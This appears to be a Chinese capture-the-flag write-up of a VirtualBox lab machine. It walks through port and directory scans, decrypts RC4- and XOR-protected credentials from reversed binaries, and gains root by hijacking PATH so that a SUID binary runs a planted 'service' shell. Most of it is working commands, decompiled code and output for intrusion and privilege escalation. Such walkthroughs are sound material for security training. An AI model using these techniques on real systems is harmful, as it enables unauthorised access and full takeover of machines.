一、信息收集

1.端口扫描

```
nmap -sC -sS -p- 192.168.1.110
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-21 02:41 EDT
Nmap scan report for 192.168.1.110
Host is up (0.00089s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open  http
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:11:7B:34 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
```

2.目录扫描

```
[02:43:15] Starting:
[02:43:17] 403 -  278B  - /.ht_wsr.txt
[02:43:17] 403 -  278B  - /.htaccess.bak1
[02:43:17] 403 -  278B  - /.htaccess.orig
[02:43:17] 403 -  278B  - /.htaccess.sample
[02:43:17] 403 -  278B  - /.htaccess.save
[02:43:17] 403 -  278B  - /.htaccess_orig
[02:43:17] 403 -  278B  - /.htaccess_extra
[02:43:17] 403 -  278B  - /.htaccess_sc
[02:43:17] 403 -  278B  - /.htaccessBAK
[02:43:17] 403 -  278B  - /.htaccessOLD
[02:43:17] 403 -  278B  - /.htaccessOLD2
[02:43:18] 403 -  278B  - /.htm
[02:43:18] 403 -  278B  - /.html
[02:43:18] 403 -  278B  - /.htpasswd_test
[02:43:18] 403 -  278B  - /.htpasswds
[02:43:18] 403 -  278B  - /.httr-oauth
[02:43:19] 403 -  278B  - /.php
[02:43:43] 301 -  312B  - /dev  ->  http://192.168.1.110/dev/
[02:43:43] 200 -  495B  - /dev/
[02:44:10] 403 -  278B  - /server-status/
[02:44:10] 403 -  278B  - /server-status
```

发现一个dev目录

我们进去看一下

发现有两个文件

先去todo.txt里面看眼

```
Fix the login issue on the main page.

Ryan: Use your favorite girl's name as your temporary SSH password.

Remember to run the 'authenticator' tool to verify your access key.
```

提示我们用户名可能叫Ryan

接着我们下载authenticator

丢ida里面分析

```
  v6[0] = 0x8CD735C49220E11DLL;                 // 密文
  v6[1] = 0x96B28E78FA5E9155LL;                 // 密文
  v7 = 18336;                                   // 密文
  v12 = 18;
  v11 = "welcome";                              // key
  printf("Please enter the flag: ");
  if ( (unsigned int)__isoc99_scanf("%127s", s) != 1 )
    return 0;
  rc4_init(v4, v11);                            // 密钥调度算法
  v10 = strlen(s);
  v14 = 1;
  if ( v10 == v12 )                             // flag长度判断 flag长度必须为18
  {
    for ( i = 0; i < v10; ++i )
    {
      v9 = rc4_step(v4);                        // 伪随机子密钥生成算法
      v8 = v9 ^ s[i];
      if ( v8 != *((_BYTE *)v6 + i) )
      {
        v14 = 0;
        break;
      }
    }
```

分别双击点进rc4_init和rc4_step

```
{
  __int64 v2; // kr00_8
  __int64 result; // rax
  char v4; // [rsp+1Fh] [rbp-11h]
  int v5; // [rsp+20h] [rbp-10h]
  int j; // [rsp+24h] [rbp-Ch]
  int v7; // [rsp+28h] [rbp-8h]
  int i; // [rsp+2Ch] [rbp-4h]

  v5 = strlen(a2);
  for ( i = 0; i <= 255; ++i )
    *(_BYTE *)(a1 + i) = i;
  v7 = 0;
  for ( j = 0; j <= 255; ++j )
  {
    v2 = *(unsigned __int8 *)(a1 + j) + v7 + (unsigned __int8)a2[j % v5];
    v7 = (unsigned __int8)(HIBYTE(v2) + *(_BYTE *)(a1 + j) + v7 + a2[j % v5]) - HIBYTE(HIDWORD(v2));
    v4 = *(_BYTE *)(a1 + j);
    *(_BYTE *)(a1 + j) = *(_BYTE *)(a1 + v7);
    *(_BYTE *)(a1 + v7) = v4;
  }
  *(_DWORD *)(a1 + 256) = 0;
  result = a1;
  *(_DWORD *)(a1 + 260) = 0;
  return result;
}
```

密钥调度算法

这段代码的作用是根据提供的 Key（"welcome"）来初始化一个长度为 256 的 S 盒（S-box）。

```
__int64 __fastcall rc4_step(__int64 a1)
{
  unsigned int v1; // edx
  char v4; // [rsp+17h] [rbp-1h]

  *(_DWORD *)(a1 + 256) = (*(_DWORD *)(a1 + 256) + 1) % 256;
  v1 = (*(_DWORD *)(a1 + 260) + *(unsigned __int8 *)(a1 + *(int *)(a1 + 256))) >> 31;
  *(_DWORD *)(a1 + 260) = (unsigned __int8)(HIBYTE(v1) + *(_BYTE *)(a1 + 260) + *(_BYTE *)(a1 + *(int *)(a1 + 256)))
                        - HIBYTE(v1);
  v4 = *(_BYTE *)(a1 + *(int *)(a1 + 256));
  *(_BYTE *)(a1 + *(int *)(a1 + 256)) = *(_BYTE *)(a1 + *(int *)(a1 + 260));
  *(_BYTE *)(a1 + *(int *)(a1 + 260)) = v4;
  return *(unsigned __int8 *)(a1
                            + (unsigned __int8)(*(_BYTE *)(a1 + *(int *)(a1 + 256)) + *(_BYTE *)(a1 + *(int *)(a1 + 260))));
}
```

伪随机子密钥生成算法

这段代码是 RC4 的生成阶段。每调用一次这个函数，它就会从打乱后的 S 盒中产生一个字节的“伪随机流”，用来和明文进行异或。

同时需要注意的是我们需要把这些 16 进制数提取出来并转换成字节流

`v6` 是 `long long` 类型，占 8 字节。在内存中，低位字节存放在低地址。

- `v6[0] = 0x8CD735C49220E11D` → `1D E1 20 92 C4 35 D7 8C`
- `v6[1] = 0x96B28E78FA5E9155` → `55 91 5E FA 78 8E B2 96`
- `v7 = 18336`（即 `0x47A0`）→ `A0 47`

接下来就可以编写我们脚本

```
def rc4_decrypt(data, key):

    S = list(range(256))
    j = 0
    key_length = len(key)


    for i in range(256):
        j = (j + S[i] + ord(key[i % key_length])) % 256
        S[i], S[j] = S[j], S[i]
```

```
    i = j = 0
    result = []
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        result.append(byte ^ k)

    return bytes(result)

encrypted_bytes = bytes([
    0x1D, 0xE1, 0x20, 0x92, 0xC4, 0x35, 0xD7, 0x8C, 0x55,
    0x91, 0x5E, 0xFA, 0x78, 0x8E, 0xB2, 0x96, 0xA0, 0x47
])

key = "welcome"
decrypted_data = rc4_decrypt(encrypted_bytes, key)
print("解密结果:", decrypted_data.decode('latin-1'))
```

解密出来就是我们登录的账号和密码：{Ryan:sunninggirl}

二、提权处理

先用ssh登录

```
$ ls -al
total 28
drwxr-xr-x 2 Ryan Ryan 4096 Mar 17 06:56 .
drwxr-xr-x 3 root root 4096 Mar 15 22:17 ..
-rw-r--r-- 1 Ryan Ryan  220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 Ryan Ryan 3526 Apr 18  2019 .bashrc
-rw-r--r-- 1 Ryan Ryan  807 Apr 18  2019 .profile
-rw-r--r-- 1 Ryan Ryan   40 Mar 14 09:30 user.txt
-rw------- 1 Ryan Ryan 1105 Mar 14 23:02 .viminfo
$ cat user.txt
{user-5d8e7f9a4b3c2d1e0f8a7b6c5d4e3f2a}
```

进去后就可以看到user.txt了

接下来就是root提权了

搜索suid文件

```
find / -perm -u=s -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/super_checker
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
```

```
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
```

发现了/usr/bin/super_checker

启动一个简易的 HTTP 静态文件服务器 将文件下载下来

```
$ cp /usr/bin/super_checker /tmp/super_checker
$ cd /tmp
$ python3 -m http.server 8888
```

再次拖入ida

发现是一个简单的异或

我们把密文提取出来再进行异或操作即可得到密码

```
8
9   v6 = 0x291A2A052E6A6A28LL;                  // 密文
10  v7 = 41;                                    // 密文
11  puts("--- Admin Maintenance Console ---");
12  printf("Enter Maintenance Password: ");
13  __isoc99_scanf("%19s", s);
14  if ( strlen(s) == 9 )                       // 密码长度必须是9
15  {
16    v3 = 0LL;
17    while ( 1 )
18    {
19      v4 = (unsigned __int8)s[v3] ^ 0x5Au;      // 加密逻辑：异或0x5A
20      if ( ((unsigned __int8)s[v3] ^ 0x5A) != *((_BYTE *)&v6 + v3) )
21        break;
22      if ( ++v3 == 9 )
23      {
24        sub_1240(s, s, v4, &v6);
25        return 0LL;
26      }
27    }
28  }
29  puts("[-] Access Denied! Invalid credentials.");
30  return 0LL;
31 }
```

现在编写一个简单的脚本

```
print("".join([chr(b ^ 0x5A) for b in [0x28, 0x6a, 0x6a, 0x2e, 0x05, 0x2a, 0x1a,
0x29, 0x29]]))
```

得到结果：r00t_p@ss

同时我们双击sub_1240里面发现提权关键点

```
int sub_1240()
{
  puts("[+] Access Granted! Running system maintenance...");
  setuid(0);
  setgid(0);
  return system("service --status-all");
}
```

权限提升：

0：在 Linux 中，UID 0 代表 root 用户

漏洞核心：

system("service --status-all")

程序调用的是 `service`相对路径，而不是绝对路径 `/usr/bin/service`

接下来我们就可以进行路径劫持

```
$ echo '/bin/sh' >service
$ chmod +x service
$ export PATH=/tmp:$PATH
$ /usr/bin/super_checker
--- Admin Maintenance Console ---
Enter Maintenance Password: rOOt_p@ss
[+] Access Granted! Running system maintenance...
# whoami
root
```

成功拿到root